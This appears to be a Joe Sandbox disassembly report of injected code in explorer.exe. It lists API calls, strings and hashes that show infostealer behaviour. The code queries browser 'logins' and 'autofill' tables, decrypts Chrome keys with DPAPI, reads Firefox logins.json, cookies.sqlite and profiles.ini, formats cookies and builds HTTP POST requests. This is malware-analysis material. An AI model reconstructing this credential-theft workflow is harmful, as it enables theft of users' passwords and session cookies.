Opcode ID: 0ddb32425ae848bb713f758caa231796d7e888866b710679159cbee468ff7c98
Instruction ID: 7dcb4dece70b4824222f4149cbf5e0a6bcb11a060615cfd4a2b55a90a2a870ff
Opcode Fuzzy Hash: 0ddb32425ae848bb713f758caa231796d7e888866b710679159cbee468ff7c98
Instruction Fuzzy Hash: B091C075A093009FD718DF65C884A6FBBE9BFC8704F04482DF6959B651DBB0E841CB52

Function 030F3098 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 248
fileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030F1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,030F2893,00000000,00000000,00000000,?), ref: 030F1B82
Part of subcall function 030F1B6A: CloseHandle.KERNELBASE(00000000), ref: 030F1B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 030F30F9
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 030F3103
DeleteFileW.KERNELBASE(00000000), ref: 030F310A
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 030F3115
RtlCompareMemory.NTDLL(00000000,00000000,00000003), ref: 030F31A4
RtlZeroMemory.NTDLL(?,00000040), ref: 030F31D7
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 030F32DF
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 030F339C

Strings

0, xrefs: 030F3191
SELECT origin_url,username_value,password_value FROM logins, xrefs: 030F3136
v1, xrefs: 030F318A
@, xrefs: 030F31F1

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: File$DeleteMemoryTemp$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: 0$@$SELECT origin_url,username_value,password_value FROM logins$v1
API String ID: 2757140130-4052020286
Opcode ID: 39819c3df31a0a5d30d195c2e0639cd45cdcc877577f6f9b12e4b269cb99a010
Instruction ID: c5636fd87ce23dcd9638210e018099b4661c6ef0a002721e08fcf36b02236600
Opcode Fuzzy Hash: 39819c3df31a0a5d30d195c2e0639cd45cdcc877577f6f9b12e4b269cb99a010
Instruction Fuzzy Hash: F891BC7920A341AFD754DF25C840E6FBBE9AFC9764F08092CF6859B650DB35D844CB22

Function 030F3ED9 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 82
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

PathCombineW.SHLWAPI(00000000,00000000,*.*,?,00000000), ref: 030F3F0A
FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 030F3F16
lstrcmpiW.KERNEL32(?,031462CC), ref: 030F3F38
lstrcmpiW.KERNEL32(?,031462D0), ref: 030F3F4C
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 030F3F69
lstrcmpiW.KERNEL32(?,Local State), ref: 030F3F7E
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 030F3F9B
FindNextFileW.KERNELBASE(00000000,00000010), ref: 030F3FB5
FindClose.KERNELBASE(00000000), ref: 030F3FC4

Strings

Local State, xrefs: 030F3F78
*.*, xrefs: 030F3F01

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: CombineFindPathlstrcmpi$FileHeap$AllocateCloseFirstNextProcess
String ID: *.*$Local State
API String ID: 3923353463-3324723383
Opcode ID: 26ca958ab3cdfd5bdfe2d8d26e13d22cd6ae942289f3232b1e6b715495e87104
Instruction ID: aba31cc096de400a9f164d05806f18d269fa9f91398f37a456de0558ace6551a
Opcode Fuzzy Hash: 26ca958ab3cdfd5bdfe2d8d26e13d22cd6ae942289f3232b1e6b715495e87104
Instruction Fuzzy Hash: 9921F278201344BFD758FA309C08E7FB6BCDFCA66AF080569FA12C6585DBB9844C8671

Function 030F2B15 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 102
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030F1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,030F2F0C), ref: 030F1973
Part of subcall function 030F1953: lstrlenW.KERNEL32(03146564,?,?,030F2F0C), ref: 030F1978
Part of subcall function 030F1953: lstrcatW.KERNEL32(00000000,?,?,?,030F2F0C), ref: 030F1990
Part of subcall function 030F1953: lstrcatW.KERNEL32(00000000,03146564,?,?,030F2F0C), ref: 030F1994

FindFirstFileW.KERNELBASE(00000000,?,00000000,00000000,?,00000000), ref: 030F2B3D
lstrcmpiW.KERNEL32(?,031462CC), ref: 030F2B63
lstrcmpiW.KERNEL32(?,031462D0), ref: 030F2B7B

Part of subcall function 030F19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,030F2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 030F19C4

StrStrIW.SHLWAPI(00000000,logins.json), ref: 030F2BE7
StrStrIW.SHLWAPI(00000000,cookies.sqlite), ref: 030F2C16
FindNextFileW.KERNELBASE(00000000,00000010), ref: 030F2C43
FindClose.KERNELBASE(00000000), ref: 030F2C52

Strings

logins.json, xrefs: 030F2BE1
\*.*, xrefs: 030F2B15
cookies.sqlite, xrefs: 030F2C10

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: Findlstrlen$Filelstrcatlstrcmpi$CloseFirstNext
String ID: \*.*$cookies.sqlite$logins.json
API String ID: 1108783765-3717368146
Opcode ID: 2bdcdfbb740b834599a4aec375beb7696e182549ae974e65f8f439b0ee0ac010
Instruction ID: 50c27574a629244e1d5ba0866b8b50d0b07c75a953a7d949338640d23efaa7de
Opcode Fuzzy Hash: 2bdcdfbb740b834599a4aec375beb7696e182549ae974e65f8f439b0ee0ac010
Instruction Fuzzy Hash: 0B31C43C3063059FCB18FB71984497E73DEABC9704B084D2CEA46DBA45EB79CD4682A1

Function 030F1D4A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 109
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030F19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,030F2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 030F19C4

FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 030F1DA9
lstrcmpiW.KERNEL32(?,031462CC), ref: 030F1DCF
lstrcmpiW.KERNEL32(?,031462D0), ref: 030F1DE7
lstrcmpiW.KERNEL32(?,?), ref: 030F1E62

Part of subcall function 030F1CF7: lstrlenW.KERNEL32(00000000,00000000,00000000,030F2C27), ref: 030F1D02
Part of subcall function 030F1CF7: RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 030F1D0D

FindNextFileW.KERNELBASE(00000000,00000010), ref: 030F1E94
FindClose.KERNELBASE(00000000), ref: 030F1EA3

Part of subcall function 030F1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,030F2F0C), ref: 030F1973
Part of subcall function 030F1953: lstrlenW.KERNEL32(03146564,?,?,030F2F0C), ref: 030F1978
Part of subcall function 030F1953: lstrcatW.KERNEL32(00000000,?,?,?,030F2F0C), ref: 030F1990
Part of subcall function 030F1953: lstrcatW.KERNEL32(00000000,03146564,?,?,030F2F0C), ref: 030F1994

Strings

*.*, xrefs: 030F1D8B
\*.*, xrefs: 030F1D79

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: lstrlen$Findlstrcmpi$Filelstrcat$CloseComputeCrc32FirstNext
String ID: *.*$\*.*
API String ID: 232625764-1692270452
Opcode ID: 3bdf0033c535a28da0ac1e1ed998cf51938018de46afa8a913a1f79e70b4c1ee
Instruction ID: 9642967ea16f3511c2b0bba0fca6eaacd13fc69d7678aa0ea5cd1e61ac6ec3cf
Opcode Fuzzy Hash: 3bdf0033c535a28da0ac1e1ed998cf51938018de46afa8a913a1f79e70b4c1ee
Instruction Fuzzy Hash: 8E31DA34309341DFCB2CFB709888ABF76EA9FC9244F04491DE646C7644DB75C8498691

Function 030F3E04 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 75
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030F1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,030F2893,00000000,00000000,00000000,?), ref: 030F1B82
Part of subcall function 030F1B6A: CloseHandle.KERNELBASE(00000000), ref: 030F1B8F

Part of subcall function 030F1C31: CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,030F3E1E,00000000,?,030F3FA8), ref: 030F1C46
Part of subcall function 030F1C31: GetFileSize.KERNEL32(00000000,00000000,00000000,?,030F3FA8), ref: 030F1C56
Part of subcall function 030F1C31: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,030F3FA8), ref: 030F1C76
Part of subcall function 030F1C31: CloseHandle.KERNEL32(00000000,?,030F3FA8), ref: 030F1C91

Part of subcall function 030F2FB1: StrStrIA.KERNELBASE(00000000,"encrypted_key":",00000000,00000000,00000000,030F3E30,00000000,00000000,?,030F3FA8), ref: 030F2FC1
Part of subcall function 030F2FB1: lstrlen.KERNEL32("encrypted_key":",?,030F3FA8), ref: 030F2FCE
Part of subcall function 030F2FB1: StrStrIA.SHLWAPI("encrypted_key":",0314692C,?,030F3FA8), ref: 030F2FDD

Part of subcall function 030F123B: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,030F3E4B,00000000), ref: 030F124A
Part of subcall function 030F123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 030F1268
Part of subcall function 030F123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 030F1295

RtlCompareMemory.NTDLL(00000000,IDPAP,00000005), ref: 030F3E74
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 030F3E9E

Strings

DPAP, xrefs: 030F3E5A
IDPAP, xrefs: 030F3E6E, 030F3E72
DPAP, xrefs: 030F3E52
, xrefs: 030F3EA8

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: File$Crypt$BinaryCloseCreateHandleStringlstrlen$CompareDataMemoryReadSizeUnprotect
String ID: $DPAP$DPAP$IDPAP
API String ID: 3076719866-957854035
Opcode ID: 855e94855c468a438f9c8edaa161125fee8f8ea86ae0a02d2d4bcac326253604
Instruction ID: 6820d4381051ecf6f2020a8f08794b0365ba8b079cb02651fb6828c340eb168f
Opcode Fuzzy Hash: 855e94855c468a438f9c8edaa161125fee8f8ea86ae0a02d2d4bcac326253604
Instruction Fuzzy Hash: 5A21F636605345AFD715EA688880BBFF2DDAFC8614F48096DEA40D7640EB74C94887A2

Function 030F4B92 Relevance: 3.0, APIs: 2, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 030F1162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 030F116F

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 030F4BB6
NtUnmapViewOfSection.NTDLL(000000FF), ref: 030F4BBF

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: MemoryMoveQuerySectionUnmapViewVirtual
String ID:
API String ID: 1675517319-0
Opcode ID: e3a1fc40703d0a340abc3663ea9b4f46317e157219532f77d3b0ab1b259a30e0
Instruction ID: 0835d9231c61dcbb51a1e15de4400d182bc39c24cdd38810792f342126aaf6ac
Opcode Fuzzy Hash: e3a1fc40703d0a340abc3663ea9b4f46317e157219532f77d3b0ab1b259a30e0
Instruction Fuzzy Hash: C0E0D835802310AFC75CFB31BC08F8B3B9C9FCA265F10C969A75586485CB3948408660

Function 030F6512 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(031520A4,00000001,00000000,0000000A,03143127,030F28DA,00000000,?), ref: 030FBFFC

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 32ca2350298fc8a38d57d9493efe8802c05b3eafdaff7d18ad3fb6913fc4fbc1
Instruction ID: d3b571db4af1ebcfe598665b97a00a0cbb769ffb498b1ab3ebf43719dfc05fe4
Opcode Fuzzy Hash: 32ca2350298fc8a38d57d9493efe8802c05b3eafdaff7d18ad3fb6913fc4fbc1
Instruction Fuzzy Hash: 7BE06D36786308BEEE25F3B8AC06FAA14544BC8F11F504B25BB30BC8C9CB9780810022

Function 030F3C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 147
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030F1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,030F2893,00000000,00000000,00000000,?), ref: 030F1B82
Part of subcall function 030F1B6A: CloseHandle.KERNELBASE(00000000), ref: 030F1B8F

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

GetTempPathW.KERNEL32(00000104,00000000), ref: 030F3C6A
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 030F3C76
DeleteFileW.KERNELBASE(00000000), ref: 030F3C7D
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 030F3C89
lstrlen.KERNEL32(00000000,?,?,?,?,00000000,00000000,?), ref: 030F3D2F
lstrlen.KERNEL32(00000000), ref: 030F3D36
wsprintfA.USER32 ref: 030F3D55
lstrlen.KERNEL32(00000000), ref: 030F3D61
lstrcat.KERNEL32(00000000,?), ref: 030F3D89
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 030F3DB2
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 030F3DED

Strings

AUTOFILL, xrefs: 030F3DBD, 030F3DC2, 030F3DCC
SELECT name,value FROM autofill, xrefs: 030F3CAA
%s = %s, xrefs: 030F3D4F

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: File$lstrlen$DeleteHeapTemp$AllocateCloseCopyCreateHandleNamePathProcesslstrcatwsprintf
String ID: %s = %s$AUTOFILL$SELECT name,value FROM autofill
API String ID: 2923052733-3488123210
Opcode ID: bcaef64b74310b8048fdb3a1ce32c7d695d04acf73e8da6199ecc887dacca42f
Instruction ID: 49abec0c276c5af93211a2c2c73bfee7f79b6625f76f25a0c2fd089bf255b269
Opcode Fuzzy Hash: bcaef64b74310b8048fdb3a1ce32c7d695d04acf73e8da6199ecc887dacca42f
Instruction Fuzzy Hash: D641B038605341AFD718FB319C80E7FBAEDAFCA654F04086CFA45AB641DB35C8058762

Function 030F28F8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 158
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 030F2AD2

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

lstrlen.KERNEL32(00000000,?,?,?,?,?,?), ref: 030F29E1
lstrlen.KERNEL32(00000000), ref: 030F29EC
wsprintfA.USER32 ref: 030F2A38
lstrlen.KERNEL32(00000000), ref: 030F2A44
lstrcat.KERNEL32(00000000,00000000), ref: 030F2A6C
lstrlen.KERNEL32(00000000,?,?), ref: 030F2A99

Strings

COOKIES, xrefs: 030F2AA4, 030F2AAB, 030F2AB1
TRUE, xrefs: 030F2A13
%sTRUE%s%s%s%s%s, xrefs: 030F2A32
FALSE, xrefs: 030F2A06

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: lstrlen$Heap$AllocateDeleteFileProcesslstrcatwsprintf
String ID: %sTRUE%s%s%s%s%s$COOKIES$FALSE$TRUE
API String ID: 304071051-2605711689
Opcode ID: cf9eec4647e86c090521a1d0ce1ffcad5300900fa7925ab8eaae7441e5afa42f
Instruction ID: 17e3fce85d160d2b68a60df91b467a0318ab2ba6d3a37f4a3835d1152428830f
Opcode Fuzzy Hash: cf9eec4647e86c090521a1d0ce1ffcad5300900fa7925ab8eaae7441e5afa42f
Instruction Fuzzy Hash: A851E53860A3479FC729EF319850A3FB7D9AFC9204F080C2DF6859B641DB35C8458762

Function 030F2CB5 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030F1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,030F2F0C), ref: 030F1973
Part of subcall function 030F1953: lstrlenW.KERNEL32(03146564,?,?,030F2F0C), ref: 030F1978
Part of subcall function 030F1953: lstrcatW.KERNEL32(00000000,?,?,?,030F2F0C), ref: 030F1990
Part of subcall function 030F1953: lstrcatW.KERNEL32(00000000,03146564,?,?,030F2F0C), ref: 030F1994

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

Part of subcall function 030F1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,030F2893,00000000,00000000,00000000,?), ref: 030F1B82
Part of subcall function 030F1B6A: CloseHandle.KERNELBASE(00000000), ref: 030F1B8F

GetPrivateProfileSectionNamesW.KERNEL32(00000000,0000FDE8,00000000), ref: 030F2D13
StrStrIW.SHLWAPI(00000000,Profile), ref: 030F2D45
GetPrivateProfileStringW.KERNEL32(00000000,Path,0314637C,?,00000FFF,?), ref: 030F2D68
GetPrivateProfileIntW.KERNEL32(00000000,IsRelative,00000001,?), ref: 030F2D7B
lstrlenW.KERNEL32(00000000), ref: 030F2DD8

Strings

Path, xrefs: 030F2D62
profiles.ini, xrefs: 030F2CCD
Profile, xrefs: 030F2D3F
IsRelative, xrefs: 030F2D75

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: PrivateProfilelstrlen$Heaplstrcat$AllocateCloseCreateFileHandleNamesProcessSectionString
String ID: IsRelative$Path$Profile$profiles.ini
API String ID: 2234428054-4107377610
Opcode ID: 390cef3dd6cedab0bf82f911d87026efc56d95e1442af745d4de2f30ab6062b3
Instruction ID: c48ef4d3b8687fe00b24f1a607115b53819ad17db0b3ef814a984d13081444aa
Opcode Fuzzy Hash: 390cef3dd6cedab0bf82f911d87026efc56d95e1442af745d4de2f30ab6062b3
Instruction Fuzzy Hash: E331C6387063029FC758FF31981067FB7EAAFC9704F04482DEA466BA81DF7588468752

Function 030F1333 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

Part of subcall function 030F106C: lstrlen.KERNEL32(033F734E,00000000,00000000,00000000,030F1366,74DE8A60,033F734E,00000000), ref: 030F1074
Part of subcall function 030F106C: MultiByteToWideChar.KERNEL32(00000000,00000000,033F734E,00000001,00000000,00000000), ref: 030F1086

Part of subcall function 030F12A3: RtlZeroMemory.NTDLL(?,00000018), ref: 030F12B5

RtlZeroMemory.NTDLL(?,0000003C), ref: 030F13C2
wsprintfW.USER32 ref: 030F14B5
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 030F1594

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 030F14FB
Accept: */*Referer: %S, xrefs: 030F14AF
POST, xrefs: 030F1465

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: Memory$HeapZero$AllocateByteCharMoveMultiProcessWidelstrlenwsprintf
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$POST
API String ID: 3833683434-704803497
Opcode ID: 91664d73099d40168742daaf3aa9542dbf9b014a7ba731cfa0b33b76ec3571e5
Instruction ID: ddcb0be25837f8d8655ed77335b05788eb484d90b12ca0a0c94c34f63212b74a
Opcode Fuzzy Hash: 91664d73099d40168742daaf3aa9542dbf9b014a7ba731cfa0b33b76ec3571e5
Instruction Fuzzy Hash: 237189B4609341EFD758EF24D884A2BBBE9EFC9748F04092DFA95C7241DB70D9448B62

Function 030FB1E5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 174
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,00000000,00000004,00000000,00000006,00000000,?,?,00000000), ref: 030FB31D
MapViewOfFile.KERNELBASE(?,?,00000000,?,?), ref: 030FB34F

Strings

winShmMap3, xrefs: 030FB399
winShmMap2, xrefs: 030FB2CF
winShmMap1, xrefs: 030FB278

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: File$CreateMappingView
String ID: winShmMap1$winShmMap2$winShmMap3
API String ID: 3452162329-3826999013
Opcode ID: 5d9a49e313ad4357391dc8a7206df97e0803e7b4dfd18dfafe872ae11e8416e0
Instruction ID: 9a2e59d0868ad2db7beb8ca8d85ff6f6bcb3305837d1679614c2a213a3ba46d8
Opcode Fuzzy Hash: 5d9a49e313ad4357391dc8a7206df97e0803e7b4dfd18dfafe872ae11e8416e0
Instruction Fuzzy Hash: DD51D175605701DFDB65DF18C840A6BB7E6FF88314F15882EEA868BA50DBB0E805CF91

Function 030FA40E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.NTDLL(?,?,?), ref: 030FA455
memcpy.NTDLL(?,?,?), ref: 030FA479
ReadFile.KERNELBASE(?,?,?,?,?), ref: 030FA4DB
memset.NTDLL ref: 030FA546

Strings

winRead, xrefs: 030FA515

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: memcpy$FileReadmemset
String ID: winRead
API String ID: 2051157613-2759563040
Opcode ID: 74aaa9296d9bef9660fe2cee1c85534f71d5dc46aa1a11b729d9f4fb1c445b8f
Instruction ID: d49c1d0db5a03bcb7c8df1efbd533973412858902a2a8f9f79a131fc9c101f3e
Opcode Fuzzy Hash: 74aaa9296d9bef9660fe2cee1c85534f71d5dc46aa1a11b729d9f4fb1c445b8f
Instruction Fuzzy Hash: 99317F75706340AFC750DE18CC8499FB7EAEFC8310F885928FA998BA50D730ED058B52

Function 030F2E30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.KERNELBASE(?,?), ref: 030F2E4B
RegOpenKeyExW.KERNELBASE(?,?,00000000,00020119,?), ref: 030F2EE4
RegEnumKeyExW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 030F2F54
RegCloseKey.KERNELBASE(?), ref: 030F2F62

Part of subcall function 030F19E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2,PortNumber,00000000,00000000), ref: 030F1A1E
Part of subcall function 030F19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030F1A3C
Part of subcall function 030F19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030F1A75
Part of subcall function 030F19E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2,PortNumber,00000000,00000000), ref: 030F1A98

Part of subcall function 030F1BC5: lstrlenW.KERNEL32(00000000,00000000,?,030F2E75,PathToExe,00000000,00000000), ref: 030F1BCC
Part of subcall function 030F1BC5: StrStrIW.SHLWAPI(00000000,.exe,?,030F2E75,PathToExe,00000000,00000000), ref: 030F1BF0
Part of subcall function 030F1BC5: StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,030F2E75,PathToExe,00000000,00000000), ref: 030F1C05
Part of subcall function 030F1BC5: lstrlenW.KERNEL32(00000000,?,030F2E75,PathToExe,00000000,00000000), ref: 030F1C1C

Part of subcall function 030F1AFE: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,030F2E83,PathToExe,00000000,00000000), ref: 030F1B16

Strings

PathToExe, xrefs: 030F2E5E

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: CloseOpenQueryValuelstrlen$EnumFolderPath
String ID: PathToExe
API String ID: 1799103994-1982016430
Opcode ID: a0cf236a97787ea5c7e4ccbbf824e68425bb39e9b0ffb1cdbc9d25cedf0e2638
Instruction ID: a5ef9be3c427bc9217ceb47c13bd356d40b745efd05663f4ad31448239f51e58
Opcode Fuzzy Hash: a0cf236a97787ea5c7e4ccbbf824e68425bb39e9b0ffb1cdbc9d25cedf0e2638
Instruction Fuzzy Hash: B231A079606311AF8719EF22C804DAFBAE9EFC9250B04491CF9599B644DB34C906CBE1

Function 030FA67C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_alldiv.NTDLL(?,?,?), ref: 030FA6AD
_allmul.NTDLL(00000000,?,?), ref: 030FA6B6
SetEndOfFile.KERNELBASE(?), ref: 030FA6F3

Strings

winTruncate1, xrefs: 030FA6DF
winTruncate2, xrefs: 030FA717

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: File_alldiv_allmul
String ID: winTruncate1$winTruncate2
API String ID: 3568847005-470713972
Opcode ID: 9f64b87702b53571c5ac95373f1313de8b7de0b7a5df19fa5ea0566726ecb4ce
Instruction ID: e2500d6f2d4c127f8f88fc14c679a96f1d22df1520eac375fb5de7ff07829d66
Opcode Fuzzy Hash: 9f64b87702b53571c5ac95373f1313de8b7de0b7a5df19fa5ea0566726ecb4ce
Instruction Fuzzy Hash: DD216D76302300AFDF54DE29CC84EAB77A9EF88311B158569EE28DB685D735D810CBA1

Function 030F4A71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52registryCOMMON

Download Yara Rule

APIs

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

wsprintfW.USER32 ref: 030F4AA2
RegCreateKeyExW.KERNELBASE(80000001,00000000,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 030F4AC7
